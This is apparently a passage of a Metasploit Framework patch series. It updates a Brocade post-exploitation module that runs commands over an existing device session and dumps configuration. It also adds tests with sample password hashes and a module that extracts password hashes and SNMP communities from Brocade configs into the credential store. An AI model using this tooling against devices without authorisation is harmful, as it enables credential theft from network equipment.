'h00die'], 'Platform' => [ 'brocade'], 'SessionTypes' => [ 'shell' ] )) - - register_options([]) - end def run # Get device prompt - prompt = session.shell_command("") + prompt = session.shell_command("\n") if prompt.end_with?('(config)#') # config shell vprint_status('In a config cli') + session.shell_write("skip-page-display\n") + session.shell_write("terminal length 0\n") elsif prompt.end_with?('#') # regular cli shell (non-config) vprint_status('In an enabled cli') + session.shell_write("skip-page-display\n") + session.shell_write("terminal length 0\n") elsif prompt.end_with?('>') # cli not enabled vprint_status('In a non-enabled cli') - session.shell_command('enable') # gets us back to the cli non-config end - # disable paging - session.shell_write('skip-page-display') + # attempt to disable paging, cli not enabled this will fail anyways + session.shell_write("skip-page-display\n") + session.shell_write("terminal length 0\n") # Get version info print_status('Getting version information') - version_out = session.shell_command('show version') - - if /^, Version: (?.+) /i =~ version_out + version_out = session.shell_command("show version\n") + if /^, Version: (?.+) | SW: Version (?.+) /i =~ version_out vprint_status("OS: #{ver}") end @@ -72,18 +73,23 @@ def enum_configs(prompt) }, ] exec_commands.each do |ec| - command = command_prefix + ec['cmd'] + command = ec['cmd'] cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/,"") print_status("Gathering info from #{command}") - cmd_loc = store_loot("brocade.#{ec['fn']}", - "text/plain", - session, - cmd_out.strip, - "#{ec['fn']}.txt", - ec['desc']) - vprint_good("Saving to #{cmd_loc}") + # detect if we're in pagination and get as much data as possible + if cmd_out.include?('--More--') + cmd_out += session.shell_command(" \n"*20) #20 pages *should* be enough + end if ec['fn'] == 'get_config' - brocades_config_eater(host,port,cmd_out.strip) + brocade_config_eater(host,port,cmd_out.strip) + else + cmd_loc = store_loot("brocade.#{ec['fn']}", + "text/plain", + session, + cmd_out.strip, + "#{ec['fn']}.txt", + ec['desc']) + vprint_good("Saving to #{cmd_loc}") end end end diff --git a/spec/lib/msf/core/auxiliary/brocade_spec.rb b/spec/lib/msf/core/auxiliary/brocade_spec.rb new file mode 100644 index 000000000000..d1419b2a5afa --- /dev/null +++ b/spec/lib/msf/core/auxiliary/brocade_spec.rb @@ -0,0 +1,181 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/auxiliary/brocade' + +RSpec.describe Msf::Auxiliary::Brocade do + class DummyClass + include Msf::Auxiliary::Brocade + def framework + Msf::Simple::Framework.create( + 'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s, + # don't load any module paths so we can just load the module under test and save time + 'DeferModuleLoads' => true + ) + end + def active_db? + true + end + def print_good(str=nil) + raise StandardError.new("This method needs to be stubbed.") + end + def print_bad(str=nil) + raise StandardError.new("This method needs to be stubbed.") + end + def store_cred(hsh=nil) + raise StandardError.new("This method needs to be stubbed.") + end + def fullname + "auxiliary/scanner/snmp/brocade_dummy" + end + def myworkspace + raise StandardError.new("This method needs to be stubbed.") + end + end + + subject(:aux_brocade) { DummyClass.new } + + let!(:workspace) { FactoryBot.create(:mdm_workspace) } + + context '#create_credential_and_login' do + + let(:session) { FactoryBot.create(:mdm_session) } + + let(:task) { FactoryBot.create(:mdm_task, workspace: workspace)} + + let(:user) { FactoryBot.create(:mdm_user)} + + subject(:test_object) { DummyClass.new } + + let(:workspace) { FactoryBot.create(:mdm_workspace) } + let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) } + let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) } + + let(:login_data) { + { + address: service.host.address, + port: service.port, + service_name: service.name, + protocol: service.proto, + workspace_id: workspace.id, + origin_type: :service, + module_fullname: 'auxiliary/scanner/smb/smb_login', + realm_key: 'Active Directory Domain', + realm_value: 'contosso', + username: 'Username', + private_data: 'password', + private_type: :password, + status: Metasploit::Model::Login::Status::UNTRIED + } + } + + it 'creates a Metasploit::Credential::Login' do + expect{test_object.create_credential_and_login(login_data)}.to change{Metasploit::Credential::Login.count}.by(1) + end + it "associates the Metasploit::Credential::Core with a task if passed" do + login = test_object.create_credential_and_login(login_data.merge(task_id: task.id)) + expect(login.tasks).to include(task) + end + end + + context '#brocade_config_eater' do + before(:example) do + expect(aux_brocade).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'deals with enable passwords' do + expect(aux_brocade).to receive(:print_good).with('enable password hash $1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm.') + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "enable super-user-password 8 $1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm.", "config.txt", "Brocade Configuration" + ) + expect(aux_brocade).to receive(:create_credential_and_login).with( + { + address: "127.0.0.1", + port: 161, + protocol: "tcp", + workspace_id: workspace.id, + origin_type: :service, + service_name: '', + module_fullname: "auxiliary/scanner/snmp/brocade_dummy", + username: 'enable', + private_data: "$1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm.", + private_type: :nonreplayable_hash, + status: Metasploit::Model::Login::Status::UNTRIED + } + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'enable super-user-password 8 $1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm.') + end + + it 'deals with user passwords' do + expect(aux_brocade).to receive(:print_good).with('User brocade of type 8 found with password hash $1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/.') + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "username brocade password 8 $1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/", "config.txt", "Brocade Configuration" + ) + expect(aux_brocade).to receive(:create_credential_and_login).with( + { + address: "127.0.0.1", + port: 161, + protocol: "tcp", + workspace_id: workspace.id, + origin_type: :service, + service_name: '', + module_fullname: "auxiliary/scanner/snmp/brocade_dummy", + username: 'brocade', + private_data: "$1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/", + private_type: :nonreplayable_hash, + status: Metasploit::Model::Login::Status::UNTRIED + } + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'username brocade password 8 $1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/') + end + + it 'deals with snmp communities' do + expect(aux_brocade).to receive(:print_good).with('ENCRYPTED SNMP community $Si2^=d with permissions rw') + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "snmp-server community 1 $Si2^=d rw", "config.txt", "Brocade Configuration" + ) + expect(aux_brocade).to receive(:create_credential_and_login).with( + { + address: "127.0.0.1", + port: 161, + protocol: "udp", + workspace_id: workspace.id, + origin_type: :service, + service_name: 'snmp', + module_fullname: "auxiliary/scanner/snmp/brocade_dummy", + private_data: "$Si2^=d", + private_type: :nonreplayable_hash, + status: Metasploit::Model::Login::Status::UNTRIED + } + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'snmp-server community 1 $Si2^=d rw') + end + it 'deals with enable hidden passwords' do + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "enable super-user-password 8 .....", "config.txt", "Brocade Configuration" + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'enable super-user-password 8 .....') + end + + it 'deals with user hidden passwords' do + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "username brocade password 8 .....", "config.txt", "Brocade Configuration" + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'username brocade password 8 .....') + end + + it 'deals with snmp communities' do + expect(aux_brocade).to receive(:print_bad).with('password-display is disabled, no password hashes displayed in config') + expect(aux_brocade).to receive(:store_loot).with( + "brocade.config", "text/plain", "127.0.0.1", "snmp-server community 1 ..... rw", "config.txt", "Brocade Configuration" + ) + aux_brocade.brocade_config_eater('127.0.0.1',161,'snmp-server community 1 ..... rw') + end + end + +end From bd58fdf77a9544b8df90248f3165a2e5d33508f0 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 2 Jun 2019 01:28:11 -0400 Subject: [PATCH 3/4] remove ssh.rb from change --- lib/metasploit/framework/login_scanner/ssh.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb index 3199658fa332..898a86ba2209 100644 --- a/lib/metasploit/framework/login_scanner/ssh.rb +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -113,7 +113,6 @@ def gather_proof proof = '' begin Timeout.timeout(5) do -<<<<<<< HEAD proof = ssh_socket.exec!("id\n").to_s if (proof =~ /id=/) proof << ssh_socket.exec!("uname -a\n").to_s @@ -169,7 +168,6 @@ def set_sane_defaults public def get_platform(proof) - return 'brocade' case proof when /unifi\.version|UniFiSecurityGateway/ #Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux 'unifi' From 08a0528d8ab166d13f7f0da3b10b8ec0c0f4cbce Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 16 Jul 2019 20:52:00 -0400 Subject: [PATCH 4/4] add aux file eater module --- .../auxiliary/admin/brocade/brocade_config.md | 50 +++++++++++++++++++ .../auxiliary/admin/brocade/brocade_config.rb | 40 +++++++++++++++ 2 files changed, 90 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/brocade/brocade_config.md create mode 100644 modules/auxiliary/admin/brocade/brocade_config.rb diff --git a/documentation/modules/auxiliary/admin/brocade/brocade_config.md b/documentation/modules/auxiliary/admin/brocade/brocade_config.md new file mode 100644 index 000000000000..f7f4c8a8d83c --- /dev/null +++ b/documentation/modules/auxiliary/admin/brocade/brocade_config.md @@ -0,0 +1,50 @@ +## General Notes + +This module imports a Brocade configuration file into the database. +This is similar to `post/brocade/gather/enum_brocade` only access isn't required, +and assumes you already have the file. + +Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf). + +## Verification Steps + +1. Have a Brocade configuration file +2. Start `msfconsole` +3. `use auxiliary/admin/brocade/brocade_config` +4. `set RHOST x.x.x.x` +5. `set CONFIG /tmp/file.config` +6. `run` + +## Options + + **RHOST** + + Needed for setting services and items to. This is relatively arbitrary. + + **CONFIG** + + File path to the configuration file. + +## Scenarios + +``` +msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf +msf5 > use auxiliary/admin/brocade/brocade_config +msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf +config => /tmp/brocade.conf +msf5 auxiliary(admin/brocade/brocade_config) > run +[*] Running module against 127.0.0.1 + +[*] Importing config +[+] password-display is enabled, hashes will be displayed in config +[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm. +[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0. +[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro +[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw +[+] Config import successful +[*] Auxiliary module execution completed +``` + + diff --git a/modules/auxiliary/admin/brocade/brocade_config.rb b/modules/auxiliary/admin/brocade/brocade_config.rb new file mode 100644 index 000000000000..003acd4e661a --- /dev/null +++ b/modules/auxiliary/admin/brocade/brocade_config.rb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/auxiliary/brocade' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Brocade + def initialize(info={}) + super( update_info( info, + 'Name' => 'Brocade Configuration Importer', + 'Description' => %q{ + This module imports a Brocade device configuration. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die'], + )) + + register_options( + [ + OptPath.new('CONFIG', [true, 'Path to configuration to import']), + Opt::RHOST(), + Opt::RPORT(22) + ]) + + end + + def run + unless ::File.exist?(datastore['CONFIG']) + fail_with Failure::BadConfig, "Brocade config file #{datastore['CONFIG']} does not exists!" + end + brocade_config = ::File.open(datastore['CONFIG'], "rb") + print_status('Importing config') + brocade_config_eater(datastore['RHOSTS'],datastore['RPORT'],brocade_config.read) + print_good('Config import successful') + end +end + +